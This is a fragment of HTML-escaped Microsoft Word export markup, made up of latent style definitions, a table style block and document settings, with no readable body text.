name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Calibri","sans-serif";  mso-bidi-font-family:"Cordia New";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;JA&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;TH&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:enableopentypekerning/&gt;    &lt;w:dontflipmirrorindents/&gt;    &lt;w:overridetablestylehps/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" 